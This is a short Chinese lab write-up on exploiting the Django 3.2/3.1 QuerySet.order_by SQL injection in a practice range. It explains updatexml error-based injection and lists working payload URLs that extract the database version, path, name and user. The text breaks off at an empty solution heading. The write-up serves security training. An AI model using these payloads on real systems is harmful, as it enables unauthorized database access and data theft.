目录
一、靶场环境
1.1、平台:
123.58.224.8:30212
打开直接给了一个vuln接口(送分了属于是)
1.2、知识:
1、也就是分析参数带入前后有没有发生变化了
但很多时候仅仅通过页面,是无法分析出的
(使用bp抓包后,对数据包分析是否有差别)
2、掌握基本函数,注入方法
updatexml报错注入
`concat()`函数是将其连成一个字符串,因此不会符合`XPath_string`的格式,因此会造成格式错误
`0x7e` ASCII码(为`~`),updatexml报错为特殊字符、字母及之后的内容,为了防止前面的字母丢失,开头连接一个特殊字符
1.3、描述:
Django 3.2 ,3.1
允许 QuerySet.order_by SQL 注入。http://ip:port/vuln/?order=
二、漏洞验证
2.1、分析:
http://ip:port/vuln/?order=id
(从1到4升序排列)
http://ip:port/vuln/?order=-id
(从4到1降序排列)
返回的数据随值的改变而改变
(带入到了数据库中被执行)
可以通过报错注入,来查看信息
http://ip:port/vuln/?order=vuln_collection.id);select updatexml(1, concat(0x7e,(select @@basedir)),1)%23
/vuln/?order=vuln_collection.id);select updatexml(1, concat(0x7e,(select @@version)),1)%23
/vuln/?order=vuln_collection.id);select updatexml(1, concat(0x7e,(select database())),1)%23
/vuln/?order=vuln_collection.id);select updatexml(1, concat(0x7e,(select user())),1)%23
……
(报数据库,表,字段,数据)
2.4、解题: